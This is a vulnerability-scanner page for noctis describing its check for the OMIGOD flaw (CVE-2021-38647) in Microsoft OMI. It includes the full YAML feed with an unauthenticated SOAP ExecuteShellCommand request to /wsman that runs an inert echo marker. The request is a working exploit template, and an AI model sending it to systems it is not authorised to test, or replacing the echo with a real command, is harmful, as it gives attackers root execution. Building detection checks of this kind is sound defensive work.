Microsoft OMI — 1 vulnerability check

noctis ships 1 vulnerability check for Microsoft OMI, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Microsoft OMI (OMIGOD) Unauthenticated RCE via WSMan ExecuteShellCommand

CVECVE-2021-38647
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/microsoft-omi/CVE-2021-38647.yaml

Microsoft Open Management Infrastructure accepts WS-Management SOAP requests that omit the HTTP Authorization header as authenticated root. This feed sends an ExecuteShellCommand envelope — with no Authorization header — carrying an inert `echo` whose per-run marker only appears contiguously when a real shell collapses an empty command substitution, confirming unauthenticated RCE.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /wsman with a crafted body
  4. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: OMIGOD: unauthenticated WSMan ExecuteShellCommand (no Authorization header) returned HTTP 200 and the per-run command-substitution marker, …

References:

Feed source — tests/vulnerabilities/microsoft-omi/CVE-2021-38647.yaml
# Microsoft Open Management Infrastructure (OMI) "OMIGOD" — CVE-2021-38647
#
# OMI exposes a WS-Management (WSMan) SOAP endpoint on 5985/5986 (and 1270).
# On a vulnerable build, a SOAP request that omits the HTTP Authorization header
# is treated as if it came from an authenticated root user: the server honours
# the request and runs it as uid 0. The ExecuteShellCommand action therefore
# yields unauthenticated remote command execution.
#
# Detection method (inert, auth-bypass confirmation via command-substitution
# collapse):
#   1. A `script` step mints a per-run token `tok = rand_hex(16)` (32 hex chars)
#      and the marker it expects back, `marker = "NOCTIS" + tok`.
#   2. A SOAP ExecuteShellCommand envelope carrying `echo NOCTIS$(){{tok}}` as the
#      shell command is POSTed to /wsman with NO Authorization header.
#        - Only a real shell collapses the empty command substitution `$()` to
#          nothing, so genuine execution echoes the CONTIGUOUS marker
#          `NOCTIS<tok>`. A server that merely reflects the request body leaves
#          `NOCTIS$()<tok>` and never matches.
#   3. The finding fires only when BOTH hold: the no-auth request was accepted
#      (HTTP 200 — the auth bypass) AND the contiguous per-run marker is present
#      (confirmed command execution). A patched OMI requires auth and answers the
#      no-auth request with 401/403, so neither leg is satisfied.
#
# Ported from the ProjectDiscovery Nuclei template
# http/cves/2021/CVE-2021-38647.yaml and the Metasploit auxiliary module; the
# echo/command-substitution collapse is the standard inert RCE confirmation.
uid: f0999457-2b43-466c-b905-f0557d42b6f6
name: "Microsoft OMI (OMIGOD) Unauthenticated RCE via WSMan ExecuteShellCommand (CVE-2021-38647)"
description: |
  Microsoft Open Management Infrastructure accepts WS-Management SOAP requests
  that omit the HTTP Authorization header as authenticated root. This feed sends
  an ExecuteShellCommand envelope — with no Authorization header — carrying an
  inert `echo` whose per-run marker only appears contiguously when a real shell
  collapses an empty command substitution, confirming unauthenticated RCE.
cves: [CVE-2021-38647]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: rce
tags: [omi, omigod, wsman, soap, auth-bypass, rce, microsoft, linux]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-38647"
  - "https://github.com/horizon3ai/CVE-2021-38647"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38647.yaml"
  - "https://www.rapid7.com/db/?q=CVE-2021-38647"

steps:
  # 1. Per-run token — 16 random bytes => 32 lowercase hex chars.
  - id: mint-token
    action: script
    store_as: tok
    code: |
      rand_hex(16)

  # 2. Expected contiguous marker, computed from the token minted above.
  - id: mint-marker
    action: script
    store_as: marker
    code: |
      "NOCTIS" + tok

  # 3. Unauthenticated WSMan ExecuteShellCommand. No Authorization header is
  #    sent: on a vulnerable OMI this runs as root. The empty `$()` collapses
  #    only under genuine shell execution, so a reflecting server cannot forge
  #    the contiguous marker. port is always the matched service port.
  - id: probe-no-auth
    action: http_request
    method: POST
    path: "/wsman"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/soap+xml;charset=UTF-8"
    body: |
      <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
        <s:Header>
          <a:To>HTTP://{{target_host}}:{{port}}/wsman/</a:To>
          <w:ResourceURI s:mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd</w:ResourceURI>
          <a:ReplyTo>
            <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
          </a:ReplyTo>
          <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
        </s:Header>
        <s:Body>
          <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.microsoft.com/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
            <p:command>echo NOCTIS$(){{tok}}</p:command>
            <p:timeout>0</p:timeout>
          </p:ExecuteShellCommand_INPUT>
        </s:Body>
      </s:Envelope>
    store_as: resp

  # 4. Confirm: the no-auth request was accepted (HTTP 200 => auth bypass) AND the
  #    contiguous per-run marker came back (=> real command execution). Both legs
  #    are required: a patched OMI returns 401/403, and a reflecting server leaves
  #    the `$()` intact so the contiguous marker is absent.
  - id: confirm-rce
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "resp.status == 200 && stridx(resp.body, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.72
        qod: 97
        evidence: "OMIGOD: unauthenticated WSMan ExecuteShellCommand (no Authorization header) returned HTTP 200 and the per-run command-substitution marker, confirming RCE as root."
      stop: true

View these feeds on GitHub